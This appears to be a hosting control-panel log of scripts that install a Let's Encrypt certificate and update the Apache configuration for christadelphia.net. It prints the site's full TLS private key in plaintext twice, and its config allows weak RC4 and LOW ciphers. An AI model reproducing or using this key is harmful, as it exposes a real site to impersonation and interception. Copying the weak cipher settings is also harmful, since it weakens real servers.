UYtXECdkrTDeCDiq/ckDPZWXW3FDAgMBAAGjggJBMIICPTAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFJMvi2AqlmrswK3gtJZFV+hMtqtrMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIISY2hyaXN0YWRlbHBoaWEu
bmV0ghZ3d3cuY2hyaXN0YWRlbHBoaWEubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMzEuY3Js
MIIBCwYKKwYBBAHWeQIEAgSB/ASB+QD3AHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1H
CmkFhbDLFMMUWOcAAAGbC/9keQAABAMARjBEAiBF+UXvk45jtaby5iBqyLnJ2Gx5
C3W7wzG3Ijqr262HLgIgGYtm+wwBoy4fdKGLdelvAlFOLyDDLcRweT6nMycWkNYA
fgBxfpXzwjiKbbHjhEk9MeFaqWIIdi1CAOAFDNBntaZh4gAAAZsL/2TEAAgAAAUA
A9zNsAQDAEcwRQIhAJBgfZxVzVJTIQx5GWIgc6eZ9gpcokQwr/b8Hu7vr06xAiBf
FbwQSDFN4MoqE8sSstPXYnV1e3LJUPh+cH2yZqwKFDANBgkqhkiG9w0BAQsFAAOC
AQEAOCEzsxfLoiM8t1U1d8lf7rvi0yEULqq/TMomSuf62YPeVGY642OYq+5SmXQw
7FlOo4kDBWP+c8xHyKouB6Q5RbNilE17kEg6epHKfRiF56Ymj/K66mBAkQDXdkY9
/Uj0BHFsBD23zDb+G+OI+SX8Pg2TxfGtNea/KEfjHjFtvv/nQdIGrmb8CIXMW6bq
MWlrx+5HbPZrSiyL7/Eeufg1wsNo998Z3boIoXXwUjDa1vJU0Lw1v+2e79wTWXrv
vqWt9HZ9mfq5gYuGCon3cGMSFFhCyMpq0Z7PVO5wMljbJA+wiU4vpXplxHf0k3NA
6uDE5q+26dHs9gqslji995zcBA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDhgOIqqXs4/U9M
bHVmQF9lZOVN6nvLZXbpJXyt5aMPgDrs4g0hz+J13OVGjpwknYTY3btEsQerG7Rc
HkLnUAzfr0ys5Zan52gSjlv2R0UGs1DXYgcjuMDzSCk7XA1By+jh4ZwhS37z/r1X
Ff2m2JuMMfxDnYcGdFetyTr4O0vaKHNMEZuNZQg/ey6zaqfUjUhty36rcZUmVQ9n
/jJG8b5EyCn7I2pQPP1O0OHJDyiizqR0oab7nDjuvghzzyKcGLJomHy6eWRpA++q
W3uqCoolK4LHvwbU9nRnsqcYkRKRqL4zhD/FqQMHAA4DUYtXECdkrTDeCDiq/ckD
PZWXW3FDAgMBAAECggEBAL/8bpFLwbD/WKgEHt9zJsS4ZdE0NTkxpU9RrxiOTYlA
7uoGeo+y4WbfLgQoHh++TAAmpu0Qmyq+Z4uV5/fvW0aFhI4e2WkRxrUlpn3Cp63Q
tJ7qwpFTFlMJuLDk6hR+ekL1RWvDTs6ErsaZ3l5SQ/vUAqW+U9rW6l7219HHCgks
lbV8gzGQ+fNPcA95bNnwyixatKTNJuyf2Xi6Nq83xCvhnuYBc6kS88+joIkDQmQj
u2q5d/Y5pj91KmHmnNaM3Cxg4lFJqN1ALO9yMuy52pigmGFc2klDu0ffs2wtgdiV
t0HWMwMd+6QGIIBxhHg+dA6Cd35FkBUUoHijRWzUEmECgYEA+WWW0SM1A1e9Wb2v
p9RJkoO0lycRu4NFktSo/aCj4Q4nPHbafCebyH0ACDIdkF3muyKIphZQrCO3MChJ
0UaH/COGlT0/u/Rpl3yJIRsaMUcERG9T5XJ+lUFzabqeNw57VQHNRpktvMfOaBTn
mIqyRDH/hs3eoX5ZFx3xrWJrqJcCgYEA53lYVvxm1ytYlWjw6xmxkY1/KSXsgWhy
sOVjfJXLQG3TLse6nejhFmp068+P9jyxS9N1+9A8wXEHRuRR2DOybngHuXzXBX1a
MTMqkEyza3KTAVUb/uinKetp0ibeSxYg4Hg3+DtS/weYjHI2dxy80u7kCKYd0NN3
Bs6mjy2SBjUCgYEAhOLEgZso3CccFX0k42AR86eJyiBfKnK/14TIppu5tmk8LtOF
hzHzp9gy9Cr/5bSjBINaHGU3hwFg0qAk9QWH36luRIbmNtf8i2MoDiPKyQb2FyDa
qx9eo1jEjkmJk/x7asgTANMNs9EjAgJhhL4iToP1i3aWcaZJAjBKXgBbLPECgYAP
SxslFCQPT1PY+0f/oID05u5h35mSqz34pg8+qf710MvFKXkQ+dP1US9MbThLwpLM
Obpv2sBI35jlfCxUJoZBeji4bqEeQbv1yDWltwubq8Q+sErbOq/guycQtXS2bU3a
xtab1f+TzgKsNNeYYxOutA3o7GDH7VDN6FVk3FPriQKBgFONb++5KuxplyX5o61C
0dtyYKHGFTdc4gx+NXwqYQtFrUo2QSfVJVp7mChfJvNL8lJc44zukqt6E3FbV2vo
p3eVLFuub93VsnuVJgwx7dZAn9QdMRUc8Ks2WiYQUnEh5LVeTkA85i5Qr93ncL4F
PWRVsWnbb2K+pCk+q1QSdpSI
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-11 06:00:46: 

chmod 755 /tmp/pkp784197; /tmp/pkp784197; rm /tmp/pkp784197

2025-12-11 06:00:46: 


dir=/etc/ssl/certs


2025-12-11 06:00:46: 

PUT: /tmp/pkp160574

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/christadelphia_www_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-11 06:00:46: 

chmod 755 /tmp/pkp160574; /tmp/pkp160574; rm /tmp/pkp160574

2025-12-11 06:00:46: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphia_www_net.conf 46

<VirtualHost *:80>
    ServerName	christadelphia.net
    ServerAlias	www.christadelphia.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphia_www
    <Directory /var/www/christadelphia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphia/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphia.net
    ServerAlias	www.christadelphia.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt
    DocumentRoot	/var/www/christadelphia_www
    <Directory /var/www/christadelphia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-11 06:00:46: 

PUT: /tmp/pkp267942

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=christadelphia_www_net.conf
TARGET=/etc/apache2/sites-enabled/christadelphia_www_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	christadelphia.net
    ServerAlias	www.christadelphia.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphia_www
    <Directory /var/www/christadelphia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphia/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphia.net
    ServerAlias	www.christadelphia.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt
    DocumentRoot	/var/www/christadelphia_www
    <Directory /var/www/christadelphia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/christadelphia_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/christadelphia_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/christadelphia_www_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/christadelphia_www_net.conf= 1'
fi


2025-12-11 06:00:46: 

chmod 755 /tmp/pkp267942; /tmp/pkp267942; rm /tmp/pkp267942

2025-12-11 06:00:46: 




2025-12-11 06:00:46: 

PUT: /tmp/pkp545201

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-11 06:00:46: 

chmod 755 /tmp/pkp545201; /tmp/pkp545201; rm /tmp/pkp545201

2025-12-11 06:00:47: 


.


2025-12-11 06:00:47: Establishing a connection
2025-12-11 06:00:47: 

PUT: /tmp/pkp695418

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-11 06:00:48: 

chmod 755 /tmp/pkp695418; /tmp/pkp695418; rm /tmp/pkp695418

2025-12-11 06:00:48: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-12-11 06:00:48: 

PUT: /tmp/pkp276115

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/christadelphia_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-11 06:00:48: 

chmod 755 /tmp/pkp276115; /tmp/pkp276115; rm /tmp/pkp276115

2025-12-11 06:00:48: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphia_www_net.conf	1431

<VirtualHost *:80>
    ServerName	christadelphia.net
    ServerAlias	www.christadelphia.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphia_www
    <Directory /var/www/christadelphia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphia/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphia.net
    ServerAlias	www.christadelphia.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt
    DocumentRoot	/var/www/christadelphia_www
    <Directory /var/www/christadelphia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-11 06:00:48: 

PUT: /tmp/pkp541848

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-11 06:00:48: 

chmod 755 /tmp/pkp541848; /tmp/pkp541848; rm /tmp/pkp541848

2025-12-11 06:00:48: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt	5401
a7:73:12:74:f7:6b:6c:38:7f:66:2c:be:19:63:09:96

-----BEGIN CERTIFICATE-----
MIIFHzCCBAegAwIBAgISBkzfrLcwbeJnTF3ravLJjGOeMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjExMDUwMjE1WhcNMjYwMzExMDUwMjE0WjAdMRswGQYDVQQD
ExJjaHJpc3RhZGVscGhpYS5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDhgOIqqXs4/U9MbHVmQF9lZOVN6nvLZXbpJXyt5aMPgDrs4g0hz+J13OVG
jpwknYTY3btEsQerG7RcHkLnUAzfr0ys5Zan52gSjlv2R0UGs1DXYgcjuMDzSCk7
XA1By+jh4ZwhS37z/r1XFf2m2JuMMfxDnYcGdFetyTr4O0vaKHNMEZuNZQg/ey6z
aqfUjUhty36rcZUmVQ9n/jJG8b5EyCn7I2pQPP1O0OHJDyiizqR0oab7nDjuvghz
zyKcGLJomHy6eWRpA++qW3uqCoolK4LHvwbU9nRnsqcYkRKRqL4zhD/FqQMHAA4D
UYtXECdkrTDeCDiq/ckDPZWXW3FDAgMBAAGjggJBMIICPTAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFJMvi2AqlmrswK3gtJZFV+hMtqtrMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIISY2hyaXN0YWRlbHBoaWEu
bmV0ghZ3d3cuY2hyaXN0YWRlbHBoaWEubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMzEuY3Js
MIIBCwYKKwYBBAHWeQIEAgSB/ASB+QD3AHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1H
CmkFhbDLFMMUWOcAAAGbC/9keQAABAMARjBEAiBF+UXvk45jtaby5iBqyLnJ2Gx5
C3W7wzG3Ijqr262HLgIgGYtm+wwBoy4fdKGLdelvAlFOLyDDLcRweT6nMycWkNYA
fgBxfpXzwjiKbbHjhEk9MeFaqWIIdi1CAOAFDNBntaZh4gAAAZsL/2TEAAgAAAUA
A9zNsAQDAEcwRQIhAJBgfZxVzVJTIQx5GWIgc6eZ9gpcokQwr/b8Hu7vr06xAiBf
FbwQSDFN4MoqE8sSstPXYnV1e3LJUPh+cH2yZqwKFDANBgkqhkiG9w0BAQsFAAOC
AQEAOCEzsxfLoiM8t1U1d8lf7rvi0yEULqq/TMomSuf62YPeVGY642OYq+5SmXQw
7FlOo4kDBWP+c8xHyKouB6Q5RbNilE17kEg6epHKfRiF56Ymj/K66mBAkQDXdkY9
/Uj0BHFsBD23zDb+G+OI+SX8Pg2TxfGtNea/KEfjHjFtvv/nQdIGrmb8CIXMW6bq
MWlrx+5HbPZrSiyL7/Eeufg1wsNo998Z3boIoXXwUjDa1vJU0Lw1v+2e79wTWXrv
vqWt9HZ9mfq5gYuGCon3cGMSFFhCyMpq0Z7PVO5wMljbJA+wiU4vpXplxHf0k3NA
6uDE5q+26dHs9gqslji995zcBA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDhgOIqqXs4/U9M
bHVmQF9lZOVN6nvLZXbpJXyt5aMPgDrs4g0hz+J13OVGjpwknYTY3btEsQerG7Rc
HkLnUAzfr0ys5Zan52gSjlv2R0UGs1DXYgcjuMDzSCk7XA1By+jh4ZwhS37z/r1X
Ff2m2JuMMfxDnYcGdFetyTr4O0vaKHNMEZuNZQg/ey6zaqfUjUhty36rcZUmVQ9n
/jJG8b5EyCn7I2pQPP1O0OHJDyiizqR0oab7nDjuvghzzyKcGLJomHy6eWRpA++q
W3uqCoolK4LHvwbU9nRnsqcYkRKRqL4zhD/FqQMHAA4DUYtXECdkrTDeCDiq/ckD
PZWXW3FDAgMBAAECggEBAL/8bpFLwbD/WKgEHt9zJsS4ZdE0NTkxpU9RrxiOTYlA
7uoGeo+y4WbfLgQoHh++TAAmpu0Qmyq+Z4uV5/fvW0aFhI4e2WkRxrUlpn3Cp63Q
tJ7qwpFTFlMJuLDk6hR+ekL1RWvDTs6ErsaZ3l5SQ/vUAqW+U9rW6l7219HHCgks
lbV8gzGQ+fNPcA95bNnwyixatKTNJuyf2Xi6Nq83xCvhnuYBc6kS88+joIkDQmQj
u2q5d/Y5pj91KmHmnNaM3Cxg4lFJqN1ALO9yMuy52pigmGFc2klDu0ffs2wtgdiV
t0HWMwMd+6QGIIBxhHg+dA6Cd35FkBUUoHijRWzUEmECgYEA+WWW0SM1A1e9Wb2v
p9RJkoO0lycRu4NFktSo/aCj4Q4nPHbafCebyH0ACDIdkF3muyKIphZQrCO3MChJ
0UaH/COGlT0/u/Rpl3yJIRsaMUcERG9T5XJ+lUFzabqeNw57VQHNRpktvMfOaBTn
mIqyRDH/hs3eoX5ZFx3xrWJrqJcCgYEA53lYVvxm1ytYlWjw6xmxkY1/KSXsgWhy
sOVjfJXLQG3TLse6nejhFmp068+P9jyxS9N1+9A8wXEHRuRR2DOybngHuXzXBX1a
MTMqkEyza3KTAVUb/uinKetp0ibeSxYg4Hg3+DtS/weYjHI2dxy80u7kCKYd0NN3
Bs6mjy2SBjUCgYEAhOLEgZso3CccFX0k42AR86eJyiBfKnK/14TIppu5tmk8LtOF
hzHzp9gy9Cr/5bSjBINaHGU3hwFg0qAk9QWH36luRIbmNtf8i2MoDiPKyQb2FyDa
qx9eo1jEjkmJk/x7asgTANMNs9EjAgJhhL4iToP1i3aWcaZJAjBKXgBbLPECgYAP
SxslFCQPT1PY+0f/oID05u5h35mSqz34pg8+qf710MvFKXkQ+dP1US9MbThLwpLM
Obpv2sBI35jlfCxUJoZBeji4bqEeQbv1yDWltwubq8Q+sErbOq/guycQtXS2bU3a
xtab1f+TzgKsNNeYYxOutA3o7GDH7VDN6FVk3FPriQKBgFONb++5KuxplyX5o61C
0dtyYKHGFTdc4gx+NXwqYQtFrUo2QSfVJVp7mChfJvNL8lJc44zukqt6E3FbV2vo
p3eVLFuub93VsnuVJgwx7dZAn9QdMRUc8Ks2WiYQUnEh5LVeTkA85i5Qr93ncL4F
PWRVsWnbb2K+pCk+q1QSdpSI
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
